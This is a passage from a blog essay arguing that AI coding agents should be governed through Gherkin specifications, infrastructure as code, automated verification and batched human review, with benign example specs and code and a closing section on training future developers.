At this stage, the AI has enormous freedom. It might choose any database (SQL, NoSQL, in-memory), any data structure, any framework. The spec is deliberately loose to let the AI explore.

**Week 2: Narrowing Business Rules**

```gherkin
Feature: Shopping Cart

  Scenario: Add item to cart
    Given a product "Laptop" priced at $999 is in stock
    When a user adds "Laptop" with quantity 2 to their cart
    Then the cart should contain 2 units of "Laptop"
    And the cart subtotal should be $1998

  Scenario: Prevent adding out-of-stock items
    Given a product "Phone" with 0 units in stock
    When a user attempts to add "Phone" to their cart
    Then the addition should fail
    And an error should indicate "Product out of stock"

  Scenario: Apply discount to cart
    Given a cart with subtotal $1000
    When a discount code "SAVE10" for 10% off is applied
    Then the cart total should be $900
```

Now we've constrained pricing logic, stock validation, and discount behavior. The AI's freedom is reduced—but it still controls implementation details (which database fields, which validation library).

**Week 3: Edge Cases and Integration**

```gherkin
Feature: Shopping Cart

  Scenario: Cart persists across sessions
    Given a user adds "Laptop" to their cart
    When the user logs out and logs back in
    Then the cart should still contain "Laptop"

  Scenario: Tax calculation for different regions
    Given a cart with subtotal $1000 in California
    Then the tax should be $97.50 (9.75%)
    And the total should be $1097.50

  Scenario: Concurrent cart modifications
    Given user A and user B are both editing the same cart
    When user A removes an item
    And user B adds an item
    Then both changes should be reflected
    And no data should be lost
```

By the time you reach Week 3, the guardrails are tight. The AI's remaining freedom is at the architectural level (how to implement locking, which caching strategy)—but the business logic is locked down by specs.

#### The Balance: Agency with Constraints

This progressive tightening is the essence of cybernetic governance:

*   **Broad Constraints:** At the start, the guardrails are wide ("The app must start without crashing"). The AI has high agency to explore architectures and frameworks.
*   **Narrowing Constraints:** As you iterate, you add more BDD scenarios. The guardrails tighten. The AI's agency is restricted to smaller and smaller implementation details, guiding it inevitably toward the specific outcome you need.

This balance is key: You want the AI to have **agency**, but you need **constraints**. BDD is the mechanism that forces **eventual consistency** between the code and your intent.

The Vibe Coder writes prompts and hopes. The cybernetic developer writes specifications and verifies. The difference is the difference between a demo that impresses on Tuesday and a system that ships on Thursday.

#### Kanbus: Gherkin as Source Code

Some projects take this philosophy to the extreme: treating Gherkin specifications as the **authoritative source code** and treating implementation code as **generated artifacts**.[@kanbus-2026-architecture]

[Kanbus](https://kanb.us) is an open-source issue tracker built in both Python and Rust, designed so that agents can participate in the backlog alongside you. The twist? Both implementations are constrained to pass the exact same Gherkin feature files. The specifications aren't derived from the code—they *define* the code.

Here's a concrete example. The Gherkin specification defines project initialization behavior:

```gherkin
Feature: Project initialization
  As a developer starting a new project
  I want to initialize a Kanbus project directory
  So that I can begin tracking issues alongside my code

  Scenario: Initialize with default settings
    Given an empty git repository
    When I run "kanbus init"
    Then a "project" directory should exist
    And a "project/issues" directory should exist and be empty
```

The Python implementation provides step definitions that make this spec executable:

```python
from pathlib import Path
from behave import given, when, then

@given("an empty git repository")
def given_empty_git_repository(context):
    repository_path = Path(context.temp_dir) / "repo"
    repository_path.mkdir(parents=True, exist_ok=True)
    ensure_git_repository(repository_path)
    context.working_directory = repository_path

@when('I run "kanbus init"')
def when_run_kanbus_init(context):
    run_cli(context, "kanbus init")

@then('a "project" directory should exist')
def then_project_directory_exists(context):
    project_dir = context.working_directory / "project"
    assert project_dir.exists()
```

The Rust implementation provides completely different step definitions—but they must satisfy the *same* Gherkin spec:

```rust
use cucumber::{given, when, then, World};
use std::path::PathBuf;

#[given("an empty git repository")]
fn given_empty_git_repository(world: &mut KanbusWorld) {
    let repo_path = world.temp_dir.path().join("repo");
    fs::create_dir_all(&repo_path).expect("create repo dir");
    Command::new("git")
        .args(["init"])
        .current_dir(&repo_path)
        .output()
        .expect("git init failed");
    world.working_directory = Some(repo_path);
}

#[when(r#"I run "kanbus init"#)]
fn when_run_kanbus_init(world: &mut KanbusWorld) {
    run_cli(world, "kanbus init");
}

#[then(r#"a "project" directory should exist"#)]
fn then_project_directory_exists(world: &mut KanbusWorld) {
    let project_dir = world.working_directory.join("project");
    assert!(project_dir.exists());
}
```

Notice what this achieves:

*   **Behavioral Parity Enforced:** Both Python and Rust implementations must pass identical tests. Drift is impossible.
*   **Spec-Driven Workflow:** Feature work starts with updating the `.feature` file. Implementations exist to satisfy specs.
*   **Language-Agnostic Contracts:** The Gherkin sits in a shared `features/` directory. Both `python/behave.ini` and `rust/tests/cucumber.rs` point to the same source of truth.
*   **Everything as Code:** The behavior specification *is* the code. The Python and Rust are just two different "compile targets" for the same high-level program.

This is cybernetic development in its purest form: the human writes the high-level intent (Gherkin), and the implementations (whether written by AI or humans) are constrained to conform. The Governor defines behavior; the Engine implements it.

### 6. The New Power Players: Product Owners as Cybernetic Developers (Focus on Business Logic)

If Gherkin is the interface, then the most powerful people in the room are no longer necessarily the ones who know the most C++ syntax. They are the **Product Managers, Executives, and Domain Experts**—the people who deeply understand the *goal*.

This fulfills the prophecy made by Werner Vogels, CTO of Amazon, at AWS re:Invent 2017: **"All the code you will ever write is business logic."**[@geller-2026-all-the-code-you-will-ever]

At the time, Vogels was describing a **future vision**, not the present reality. He was predicting that managed services would abstract away the "undifferentiated heavy lifting" of infrastructure, leaving developers free to focus solely on business logic. He was right about the direction, but he didn't foresee the second half of the equation: AI would abstract away the undifferentiated heavy lifting of the *syntax itself*.

In this new world we're entering, the only code you should be *thinking* about is the business logic that solves real problems. The infrastructure is managed services; the implementation is AI-generated; what remains is pure intent.

In the past, these people had to rely on a translator (the engineer) to turn their vision into software. Now, they can communicate that vision directly to the Governor through Gherkin.

```gherkin
Feature: Premium File Upload

  Scenario: User uploads a large file
    Given a user with a "Premium" account
    When they upload a file named "video.mp4" sized 500MB
    Then the upload should complete successfully
    And the file should be stored in the "premium-uploads" bucket
    And a notification should be sent to the "analytics" service
```

*   **The Product Owner** defines the behavior (the Gherkin above).
*   **The AI Agent** implements the logic to make that pass (likely in Python or TypeScript, which are easy for the agent to reason about).
*   **The cybernetic loop** verifies that the logic matches the behavior.

You still need expertise "under the hood" to handle architectural decisions. For example, if you are building this on AWS, you might use **Infrastructure as Code** to define the resources.

Here is where the 100x developer's knowledge shines. They know that tools like **Terraform** (cloud-agnostic), **CloudFormation** (AWS-native), **Pulumi** (multi-language), or **AWS CDK** (programmable IaC) allow you to define cloud infrastructure as code. They can verify that the underlying structure supports the high-level intent.

For example, using AWS CDK to define infrastructure in a familiar language like Go:

```go
// Defining an S3 bucket and a Lambda trigger in AWS CDK (Go)
func NewStack(scope constructs.Construct, id string, props *awscdk.StackProps) awscdk.Stack {
    stack := awscdk.NewStack(scope, &id, props)

    // The bucket for our premium uploads
    bucket := awss3.NewBucket(stack, jsii.String("PremiumUploads"), &awss3.BucketProps{
        Versioned: jsii.Bool(true),
    })

    // The lambda that processes the file
    processor := awslambda.NewFunction(stack, jsii.String("Processor"), &awslambda.FunctionProps{
        Runtime: awslambda.Runtime_GO_1_X(),
        Handler: jsii.String("main"),
        Code:    awslambda.Code_FromAsset(jsii.String("lambda"), nil),
    })

    // Trigger the lambda when a new object is created
    bucket.AddEventNotification(
        awss3.EventType_OBJECT_CREATED,
        awss3notifications.NewLambdaDestination(processor),
    )

    return stack
}
```

The Product Owner doesn't need to read this Go code. But the **cybernetic developer** knows it's there, ensures it's correct, and uses the Gherkin spec to verify that it actually does what the business needs.

### 7. Everything as Code (Implement Infrastructure as Code)

The cybernetic developer understands that **code is the only artifact that matters**, because code is the only thing the AI can reliably generate, version, and improve.

This is the ultimate expression of the value: **Implement Infrastructure as Code**. Every aspect of a production system should be created and configured by code so that it's reproducible, not manually.

In the Vibe Coding world, you might manually click through the AWS console to set up a database. In the cybernetic world, that is heresy. If you click it, you can't version it. If you can't version it, the AI can't manage it.

*   **Infrastructure as Code (IaC):** You don't ask the AI to "help me set up a server." You ask it to "write the Terraform (or CloudFormation, Pulumi, CDK, or ARM/Bicep) code to define a server."
*   **Database as Code:** You don't manually create tables. You ask the AI to write migration scripts.
*   **Agents as Code:** You don't just chat with an agent. You define the agent's prompts and tools in code, version-controlled alongside the app it builds.

When **everything** is code—infrastructure, database, logic, and even the agents themselves—you get the full power of the swarm. A single developer can now orchestrate an entire enterprise IT department's worth of output by managing the code artifacts that define it. What does this mean in practice? Instead of manually configuring dozens of servers, databases, and services—clicking through consoles, running one-off scripts, maintaining institutional knowledge in someone's head—everything becomes declarative code files that live in version control. Your Terraform files *are* your infrastructure. Your migration scripts *are* your database schema. Your Gherkin specs *are* your requirements. Once everything is code, AI agents can read it, modify it, test it, and deploy it—all without human intervention in the mechanical steps. You govern by editing the source of truth; the swarm handles the execution.

#### The Spectrum: From Prompt-to-App to N8N to Code

Not every problem needs the same level of abstraction. The cybernetic developer understands where each tool fits:

**Prompt-to-App Generators:** At the extreme end, tools like Lovable and Bolt.new promise "describe your app in a prompt, get a working product." This works beautifully for **disposable prototypes**—the weekend hackathon project, the internal tool that three people will use once. The abstraction tax is acceptable because there's no maintenance burden.

But prompt-to-app tools hit a wall when you need:
*   Custom business logic that doesn't fit templates
*   Integration with legacy systems
*   Performance optimization beyond the default path
*   Regulatory compliance that requires auditing every dependency

**N8N (Visual Workflow Automation):** Visual tools like N8N sit in the middle. They're code-like (declarative, version-controllable JSON) but human-friendly (drag-and-drop interface). They excel at **"glue logic"**—connecting APIs, triggering webhooks, orchestrating services.

The limitation: N8N workflows are hard for AI agents to modify. The visual paradigm is optimized for human comprehension, not machine manipulation. An AI can *read* the JSON, but it can't easily *reason* about the graph structure.

**Agents as Code (AaC):** This is where cybernetic development lives. You define your automation in actual code—Python, TypeScript, Go—using frameworks that make agent behavior explicit and testable.

For example, instead of prompting a generator ("Build me a customer onboarding flow"), you write:

```python
# agents/onboarding_agent.py
class OnboardingAgent:
    def __init__(self, email_service, crm_service):
        self.email = email_service
        self.crm = crm_service

    def onboard_customer(self, customer_data):
        # Validate customer data
        if not self.validate(customer_data):
            raise ValidationError("Invalid customer data")

        # Create CRM record
        crm_id = self.crm.create_contact(customer_data)

        # Send welcome email
        self.email.send_template(
            to=customer_data['email'],
            template='welcome',
            vars={'crm_id': crm_id}
        )

        return crm_id
```

This is pure code. An AI agent can read it, test it, refactor it, and extend it. It's versionable, auditable, and composable. Most importantly, it's **governable**—you can wrap it in tests, monitor it in production, and rollback when it fails.

This is the pattern we've been building toward in [Tactus](https://tactus.anth.us/), our own DSL for defining agent procedures as versioned, testable code. The idea is *bounded autonomy*: imperative code for the steps that must be deterministic, agent turns for the steps that benefit from judgment, and a runtime that keeps a long-running procedure from losing its place. It's still alpha and the syntax is still moving, but the shape of the thing is the point—when the procedure is code, the governor has something to hold onto.

[//]: # "Gauge fill colors reuse the article's established pair: blue for human-facing/verification (cf. Governor, Automated verification in the chart above), red/oxblood for agent-facing power (cf. Engine, Generation capacity). No new CSS -- inline styles only, three plain stacked containers need no .row and so no mobile-width risk."

:::diagram{title="The Abstraction Spectrum"}
:::node{title="Prompt-to-App"}
*Lovable, Bolt.new*

- human-legible: high
- agent-manipulable: low
:::
::link{}
:::node{title="Visual Workflow"}
*N8N*

- human-legible: high
- agent-manipulable: medium
:::
::link{}
:::node{title="Agents as Code"}
*Python, TypeScript, Go, Tactus*

- human-legible: medium
- agent-manipulable: high
:::
:::

#### The Abstraction Tax

The key insight: **abstractions optimized for humans are obstacles for agents**.

GUIs, wizards, and visual tools exist because clicking is easier than typing YAML. But in the AI era, typing YAML *is* clicking—you just prompt the agent to generate it. The GUI is now pure overhead.

This is the **Abstraction Tax**: the cost you pay for convenience layers that block automation. Every click-only interface, every wizard that doesn't expose the underlying config, every "simplified" dashboard that hides the primitives—these are technical debt in the age of agents.

Lee Robinson's $260 migration proved this. By ripping out the CMS (a human-friendly abstraction) and replacing it with raw Markdown files (machine-friendly code), he made it possible for agents to manage the content. The "simplification" was actually a **complexification** from the agent's perspective.

The cybernetic developer pays down this tax by:
*   **Exposing primitives:** Preferring tools that offer both a GUI and a CLI/API
*   **Choosing code over clicks:** Using IaC tools (Terraform, CloudFormation, Pulumi) over cloud consoles, migration scripts over phpMyAdmin
*   **Wrapping when necessary:** If you must use a GUI tool, wrap it with infrastructure code that captures its state (e.g., `terraform import` to codify existing resources)

The goal is not to eliminate abstraction—abstractions are essential. The goal is to ensure abstractions are **transparent** and **bidirectional**: the agent can read the high-level intent and manipulate the low-level primitives.

#### Everything as Code in Practice

Here's what this looks like across a real system:

| Concern | Wrong (Clicks) | Right (Code) |
|---------|---------------|--------------|
| **Infrastructure** | Cloud Consoles | Terraform, CloudFormation, Pulumi, CDK, ARM/Bicep |
| **Database Schema** | phpMyAdmin | SQL migrations (Flyway, Liquibase) |
| **API Definitions** | Postman Collections | OpenAPI specs in Git |
| **Agent Prompts** | ChatGPT conversation | Prompt templates in code |
| **Monitoring Alerts** | PagerDuty UI | Alerts-as-code (Terraform) |
| **Feature Flags** | LaunchDarkly Dashboard | Flagsmith API + YAML config |

The pattern: if it affects production, it should be in Git. If it's in Git, an agent can manage it.

#### Case Study: The $260 Migration

Lee Robinson, VP of Developer Experience at Vercel, provided a perfect validation of this principle when he migrated cursor.com from a CMS back to raw code.[@robinson-2025-coding-agents-complexity-budgets]

He found that while the CMS was supposed to make things "easier" for non-developers, it actually created a "cost of abstraction" that blocked AI agents from being useful. "The cost of abstractions with AI is very high," he noted. "Over abstraction was always annoying and a code smell but now there’s an easy solution: spend tokens."

By moving everything back to Markdown and Git—making it "code"—he was able to use agents to migrate the entire site in three days for just $260 in tokens. He deleted 322,000 lines of code and removed the complexity that was choking the system.

This proves that **simplifying to code** isn't a step backward; it is the necessary step forward to enable the cybernetic workforce.

This highlights the **"Abstraction Tax"**—a concept Nate B. Jones identifies as the hidden cost of modern software. Tools built for human convenience (GUIs, wizards, CMS dashboards) are obstacles for agents. To enable cybernetic development, you must pay down this tax by exposing the system's primitives (files, state, config) directly to the swarm.[@jones-2025-executive-briefing-what-cursor-s-57k]

### 8. DRY (Don't Repeat Yourself) & Refactoring

AI models love to repeat themselves. They will happily generate the same utility function in five different files. This creates a maintenance nightmare.

The cybernetic developer aggressively manages this debt. They don't just "add features"; they task agents with **refactoring missions**: "Analyze the `src/utils` folder, identify duplicate logic, and consolidate it into a single shared library."

Refactoring is no longer a chore you delay; it's a continuous, agent-driven process of pruning the garden.

### 9. Expanding Work in Progress (The Path to 100x)

Traditional Agile wisdom says: **Limit Work in Progress (WIP)**. Focus on one thing, finish it, ship it, move to the next. This was essential when humans were the bottleneck. If you had 5 developers and 20 features in flight, nothing would ship.

But in the cybernetic era, this rule inverts. The AI is no longer the bottleneck—**you** are. And the way you scale from 10x to 100x is by deliberately **increasing WIP** in a controlled, governed manner.

#### The WIP Inversion

Here's the paradox: In the pre-AI world, high WIP killed velocity. In the AI world, *low* WIP kills velocity.

Why? Because the AI can work on 10 features simultaneously without cognitive load. It doesn't get distracted. It doesn't context-switch. It doesn't burn out. It's a parallel execution engine.

*   **Old World:** 5 developers, 5 features in progress. If you start a 6th, the first 5 slow down.
*   **New World:** 1 human, 10 AI agents, 50 features in progress. The human governs in parallel, the agents execute independently.

The limiting factor is no longer "how much can we build?" It's "how much can we *govern*?"

If you stick to the old "one feature at a time" mindset, you're capping yourself at 10x. You're running a Formula 1 engine at bicycle speed.

#### Little's Law Still Applies—But Differently

**Little's Law** still holds: `Cycle Time = WIP / Throughput`. But the formula's meaning changes when the executor is an AI swarm.

In the old model:
*   **WIP:** Number of features humans are actively coding
*   **Throughput:** Features completed per week by humans
*   **Cycle Time:** How long each feature takes

In the new model:
*   **WIP:** Number of features the *human* is actively governing (reviewing specs, merging PRs, monitoring CI)
*   **Throughput:** Features completed per week by *agents* (10x-100x higher)
*   **Cycle Time:** How long each feature waits for *human* governance

The math shifts. If agents can complete 50 features/week, but you can only govern 5, your effective throughput collapses to 5. The agents are idle, waiting for you.

The solution: **Increase your governance WIP** to match the agents' execution capacity. Instead of reviewing one PR at a time, you batch-review 10. Instead of manually running tests, you automate CI and trust the Governor to block bad merges.

#### The 100x Developer's WIP Strategy

The 100x developer doesn't limit WIP—they **parallelize governance**. Here's how:

**1. Batch Specification**

Instead of writing one Gherkin spec, waiting for implementation, then writing the next spec, they write 10 specs in a morning. The agents work on all 10 simultaneously.

```gherkin
# features/batch-001-auth.feature
Feature: User Authentication
# ... (detailed scenarios)

# features/batch-001-profile.feature
Feature: User Profile Management
# ... (detailed scenarios)

# features/batch-001-notifications.feature
Feature: Email Notifications
# ... (detailed scenarios)
```

Each feature is an independent cybernetic loop. The human defines intent (specs), the agents execute, the CI verifies. The human doesn't wait for Feature 1 to finish before starting Feature 2.

**2. Parallel Review**

Instead of sequentially reviewing PRs, they use tooling to review in parallel:
*   **Automated checks:** Linting, tests, coverage, security scans run automatically
*   **Agent-driven pre-review:** An agent summarizes changes, highlights risks, suggests improvements
*   **Human spot-checks:** The human reviews the summaries, not the raw diffs

This turns a 2-hour serial review process into a 15-minute parallel governance process.

**3. Concurrent Deployment**

Instead of deploying features one-by-one to production, they deploy continuously with feature flags:
*   Agents push code behind flags (disabled by default)
*   CI verifies each feature independently
*   Human enables flags in staging, observes, enables in production

This allows 10 features to be "in production" simultaneously, but only visible to the human governor until they're validated.

#### The Constraint: Your Governance Capacity

The new bottleneck is your **governance bandwidth**. If you can define 10 specs but only merge 2 PRs/day, you're still capped at 10x. To reach 100x, you need to industrialize governance:

*   **Invest in CI/CD:** Make the pipeline strict enough that a passing build means "safe to merge"
*   **Use agent enforcers:** Have agents audit for SOLID violations, duplication, security issues
*   **Demand Everything as Code:** Eliminate manual steps that require your attention
*   **Batch similar tasks:** Review all PRs at once, not one-by-one

This is the inversion: Instead of limiting WIP to match human capacity, you **expand governance capacity** to match AI throughput.

#### Task Management: From Pair Programming to Delegation

There's a critical piece of infrastructure that makes high-WIP governance possible: **task management systems** that live in your repository.

When you're working with a single AI agent in a chat session, you're doing **pair programming**. It's valuable—two developers sitting in a room, closely collaborating on a problem. But it doesn't scale. You can't sit in a room pair programming with 10 different developers simultaneously.

The shift from 10x to 100x requires a different interaction model: **management and delegation**. Instead of constant interactive engagement, you need to:

*   **Delegate work** to multiple agents working in parallel
*   **Track context** across multiple concurrent workstreams
*   **Coordinate information** between agents without keeping everything in your head
*   **Step back** from interactive sessions to review and prioritize at a higher level

This is exactly what managers do when coordinating human contractors. They don't pair program with everyone. They use project management systems—Jira, Linear, or repository-based tools like [Kanbus](https://kanb.us) or [Beads](https://github.com/steveyegge/beads).

[//]: # "One combined SVG rather than a .row of two containers, so the pairing scales as a single unit and the two panels can never separate at odd widths. Same color language as the other three diagrams in this article: blue = human/governance, oxblood = agent/engine power, the Swiss-cheese slice gray-blue = infrastructure (the task system itself, an artifact rather than a party). The human circle is the same radius in both panels on purpose -- the constant. Left panel's single agent matches the human's radius too (a symmetric 1:1 pairing); the four right-panel agents are drawn smaller, which is what makes the fan-out read as many instead of one at a different scale."

::image{
  src="images/cybernetic-development-pair-programming-vs-delegation.svg"
  layout="full"
  alt="Left, one human paired with one agent by a thick two-way arrow. Right, one human directing a task system that fans out to four agents, which report back into the task system rather than to the human."
  caption="Pair Programming vs. Delegation"
}

Without a task management system, you're forced to:
*   Keep all context in chat session history
*   Remember which agent is working on what
*   Manually track dependencies between work items
*   Stay constantly engaged with every agent

With a task management system in your repo, you can:
*   Create 10 issues, assign them to different agents (or queue them)
*   Each issue captures context, acceptance criteria, and links
*   Agents can reference related issues and their outcomes
*   You review status in batches, not one interactive session at a time

This mirrors the Kanban/Continuous workflow that dominates modern software teams. You maintain a backlog of work, track WIP across the board, and optimize flow—not by limiting WIP artificially, but by ensuring the governance layer (you) can handle the throughput.

**The paradigm shift:**
*   **Pair Programming Paradigm:** Chat sessions, interactive collaboration, constant engagement
*   **Delegation Paradigm:** Issue tracking, async work, batch review, office hours for exceptions

Both are valuable. Pair programming (chat) is ideal for exploring ambiguous problems or debugging tricky issues. But when you want to scale to 50 features in parallel, you need delegation infrastructure.

The task management system becomes the **shared memory** between you and your agent workforce—the place where context, decisions, and status live permanently, not trapped in chat history that scrolls away.

#### When to Limit WIP

There's one critical exception: **untrusted agents**. If your cybernetic loop is weak (poor specs, flaky tests, no CI gates), high WIP is suicide. You'll drown in bugs and rework.

The rule:
*   **Strong Governor (good specs, strict CI, automated verification):** Increase WIP aggressively
*   **Weak Governor (vibe coding, manual testing, "trust me it works"):** Limit WIP to 1

This connects to **Principle 2: Problem Elimination**. Sometimes the right move is to stop generating new code and fix the governance layer first. But once your Governor is strong, the path to 100x is **more parallelism, not less**.

This connects to the concept of [Single-Use Software](/the-rise-of-single-use-software). There is a time and place for disposable scripts (solving a one-off problem tonight). But applying that disposable mindset to long-term infrastructure is how you build a legacy of debt. The Cybernetic Developer knows the difference: generate the script, but **govern the system**.

## Agents as Enforcers, Not Just Creators

One of the most valuable gains is elevating the AI agent from a "junior coder" to a "quality enforcer."

*   **The Collaborator:** The agent that pairs with you to write features (Vibe Coding layer).
*   **The Enforcer:** The agent that refuses to accept code that violates SOLID principles.
*   **The Janitor:** The agent that wakes up at 3 AM to upgrade dependencies and run regression tests.

This isn't just about speed; it is about survival.

## The Lost Art of the Trenches: Primitive Fluency

As we describe these principles, a troubling question emerges: where will the next generation of cybernetic developers come from?

Historically, the principles we've discussed—limiting WIP, managing technical debt, architectural restraint, understanding when to delete—weren't learned from textbooks. They were learned "in the trenches." You understood Little's Law not from a blog post, but from watching a project collapse under the weight of too much parallel work. You learned to delete features after maintaining someone's "clever" abstraction for two years.

But if AI handles the implementation details, if junior developers never struggle with race conditions or memory leaks or merge conflicts, how do they develop the judgment to govern effectively?

This is the paradox: the very automation that makes cybernetic development possible also threatens to eliminate the training ground where cybernetic developers are forged.

### Disney World vs. The Command Line

In his 1999 essay *In the Beginning... Was the Command Line*, Neal Stephenson argued that Operating Systems are worldviews. He compared the GUI (Windows/Mac) to "Disney World"—a mediated reality where the messy plumbing is hidden behind pleasant metaphors. The Command Line, by contrast, is "unmediated reality"—unforgiving, but real.[@stephenson-1999-in-the-beginning-was-the-command]

"Vibe Coding" is the new Disney World. It is a sensory deprivation tank that hides the messy reality of code behind a pleasant chat interface. The Vibe Coder thinks software creation is just asking for what you want.

The cybernetic developer refuses to live in Disney World. They know that eventually, the plumbing breaks.

This is the **Law of Leaky Abstractions**: "All non-trivial abstractions, to some degree, are leaky."[@spolsky-2002-law-of-leaky-abstractions]

AI is the ultimate abstraction—it tries to abstract away the *act of thinking*. But it leaks. It hallucinates libraries that don't exist. It writes code that has race conditions.

Sometimes, these leaks are actually **creative features**. When an AI hallucinates, it is connecting dots that don't exist—which is the definition of creativity ("What if there was an Uber for pet food?"). But in engineering, a leak is a bug. The cybernetic developer knows the difference: they use the hallucinations for brainstorming (System 1) but patch the leaks for production (System 2). (For more on this perspective, see [Rethinking AI Hallucination](/rethinking-ai-hallucination).)

They maintain **Primitive Fluency**—the ability to touch the bare metal—because they know that *someone* has to be there to fix the leaks when the abstraction fails.

If the "trenches" are disappearing because AI handles the low-level implementation, where will the next generation of cybernetic developers come from?

The answer lies in what Nate B. Jones calls **"Primitive Fluency."**

The 100x developer doesn't need to be fluent in C++ syntax (the agent handles that). They need to be fluent in the **primitives of the system**: files, permissions, git states, database migrations, and rollback strategies.

*   **Vibe Coder Skill:** Prompting "Fix the bug."
*   **Cybernetic Developer Skill:** Understanding that the bug was caused by a race condition in the state management primitive and directing the agent to implement a mutex.

If everyone enters the field through Vibe Coding—expecting instant results and ignoring the underlying primitives—we risk a crisis of competency. We will have millions of people who can generate a demo in an afternoon, but very few who can keep a system alive for a year.

**The danger is the illusion of competence.** Vibe coding makes you feel like a senior engineer because you produced code. But without the governance of the cybernetic loop, you are just increasing risk at machine speed. You are building technical debt faster than any human team ever could.

## The Miracle is Not That AI Writes Code

The miracle is that **we can finally afford to be careful.**

In the past, "best practices" were aspirational. We *should* have 100% test coverage. We *should* do a security audit on every commit. We *should* refactor for readability. But we didn't, because we had deadlines and finite human energy.

AI turns craftsmanship into infrastructure.

*   **Humans Provide:** Intent, Taste, and Values (The Governor).
*   **AI Provides:** Exhaustive exploration, tireless implementation, and mechanical rigor (The Engine).

The scarce resource is no longer code; it is **judgment**.

The job of the programmer didn't disappear; it inverted. The value used to be "I can type correct syntax." Now the value is "I can specify, evaluate, and steer complex systems toward the right outcome."

The new skill isn't syntax. It is **Primitive Fluency**—the ability to understand the artifacts that make the system reliable, shippable, and revertible.

## The Economics of Verification

The fundamental shift that AI brings is that the **marginal cost of generating code has dropped to near zero**.

In the Vibe Coding model, you have infinite generation but manual verification (you reading the code, running the app, checking for bugs). This is an economic trap. As code volume explodes, your ability to verify it linearly collapses. You effectively "go bankrupt" on verification debt.

In cybernetic development, you use BDD/TDD to drive the **marginal cost of verification down to near zero** as well. The automated tests *are* the cheap verification that balances the cheap generation.

But not all verification is knowable upfront. Many agentic failures are emergent and only appear under real traffic, real data, and real organizational pressure. That’s why the cybernetic loop can’t stop at CI. You need runtime feedback loops—staged rollouts, telemetry, and postmortems—that turn production into a controlled experiment instead of a cliff.

[//]: # "Generated by scripts/generate-verification-debt.py. Illustrative rates and shapes, marked as such on the figure -- not measured project data."

::image{
  src="images/verification-debt.png"
  layout="full"
  alt="Generation capacity rises exponentially while manual verification stays nearly flat; the widening gap
  is verification debt, annotated at the point where you are shipping code nobody has read. A third curve,
  automated verification, tracks generation closely and is the only line that keeps pace."
}

You cannot afford to use a 100x generator with a 1x verifier. You need a 100x verifier. That is what the cybernetic loop is.

## A Fork in the Road

Every day, the gap widens between the apprentices who are denied the chance to learn and the gurus who are accelerating away from them. Junior developers have fewer opportunities to gain the judgment that turns out to be the one useful thing humans have left to contribute.

We are reaching a fork in the road.

If we do not deliberately train the next generation in the principles of cybernetic development, humanity will be forced to depend on machines to create the software that dictates the boundaries of our lives—simply because there won't be enough qualified humans left who remember how to do it.

## The Coming Talent Crisis: When the Gurus Retire

The cybernetic revolution solves one problem—scaling output—but it creates another: **Where will the next generation of cybernetic developers come from?**

This isn't abstract. We're facing a **talent cliff** that will hit within the next decade.

#### The Apprenticeship Model is Broken

Software engineering has always relied on an informal apprenticeship model:

1.  **Juniors** start by fixing bugs, writing tests, and doing "grunt work"
2.  Through repetition, they internalize patterns (when to abstract, when to delete, how to debug)
3.  **Mid-level** developers take on features, make architectural mistakes, and learn from them
4.  **Seniors** develop judgment: knowing when to refactor vs. rewrite, when to optimize vs. simplify, when to build vs. buy
5.  **Staff/Principal** engineers become force multipliers, setting standards and governing systems

This pipeline took 10-15 years to produce a 10x developer. And it depended on **doing the work**. You learned to debug race conditions by debugging race conditions. You learned to manage complexity by maintaining complex systems.

But AI short-circuits this pipeline. If juniors never write the "boring" code—if they just prompt an agent—they never develop the muscle memory. They never internalize the primitives.

#### The Danger: A Generation of Prompt Jockeys

We risk producing a generation that can describe what they want, but can't evaluate what they got.

Imagine a junior developer in 2030:
*   They've never manually set up a database (IaC tools handled it)
*   They've never debugged a segfault (memory-safe languages)
*   They've never optimized an algorithm (the agent did it)
*   They've never refactored a legacy codebase (everything is greenfield AI slop)

When asked to review an AI-generated implementation, they approve it because "it looks right." But they can't spot the race condition, the N+1 query, the SQL injection vulnerability, or the memory leak—because they've never *experienced* those failures.

This isn't theoretical. We're already seeing this in AI-generated content on Stack Overflow and GitHub. Code that *looks* correct but is subtly wrong—and reviewers lack the expertise to catch it.

#### The Guru Exodus

Meanwhile, the current generation of 10x developers—the ones who learned in the pre-AI era—are aging out of the workforce.

*   **2025:** Most senior engineers are 35-50 years old, trained in the 2000s-2010s
*   **2035:** They'll be 45-60, starting to retire
*   **2045:** The last generation with "pre-AI" foundational skills will be gone

If we don't solve the training problem in the next 10 years, we'll face a **catastrophic skills gap**. The people who can govern AI systems will retire, and there won't be enough replacements. We'll be left with:
*   Millions of prompt jockeys who can generate code but not evaluate it
*   A handful of aging gurus who are overwhelmed and can't scale
*   Increasingly critical systems that no one fully understands

This is the "Glass Cockpit Problem" at civilization scale.

#### The Two Paths Forward

We have two options:

**Path 1: Intentional Training**

We redesign engineering education to focus on **governance skills** from day one:
*   **First-year curriculum:** Systems thinking, specifications, testing, failure analysis—before syntax
*   **Apprenticeships:** Juniors work alongside agents, but their job is to *audit* the agent's work, not just prompt it
*   **Deliberate practice:** Exercises that force developers to debug AI-generated bugs, evaluate competing implementations, and make architectural tradeoffs
*   **Primitive fluency requirements:** Before you're allowed to use an AI to generate database migrations, you must write 10 migrations by hand and explain why each command matters

This is uncomfortable. It's slower than pure vibe coding. But it produces developers who can survive the inevitable AI failures.

**Path 2: Full Machine Dependency**

Alternatively, we accept that humans will no longer understand the systems we depend on. We treat software like we treat pharmaceuticals: most people don't understand organic chemistry, but they trust the system that produces safe drugs.

In this model:
*   AI agents become fully autonomous (writing, reviewing, and deploying code with minimal human oversight)
*   Humans govern at a higher level (setting business goals, defining constraints, monitoring outcomes)
*   The "primitive fluency" generation dies off, and we hope the agents are good enough

This path is appealing because it's easy. But it's also terrifying. When the AI agents fail—and they will—who fixes them? If no human understands the system, the failure is irrecoverable.

#### What the 100x Developer Must Do Now

If you're reading this and you're already a cybernetic developer, you have a **responsibility**:

**Teach.** Don't hoard your knowledge. Write documentation. Mentor juniors. Create training programs that emphasize governance skills.

**Build training systems.** Create sandboxed environments where juniors can safely break things. Design exercises that force them to debug AI-generated bugs. Make primitive fluency a job requirement.

**Advocate for standards.** Push your organization to require that engineers demonstrate understanding of the primitives before they're allowed to use high-level abstractions.

The cybernetic revolution won't survive if it's only available to the current generation of experts. We must deliberately create the next generation, or the revolution will collapse under its own success.

## Vibe Coding is the Engine, but Governance is the Governor

This isn't to say Vibe Coding is bad. It is vital. It is the creative spark, the rapid prototype, the joy of creation. But without a Governor, the Engine just redlines until it tears itself apart.

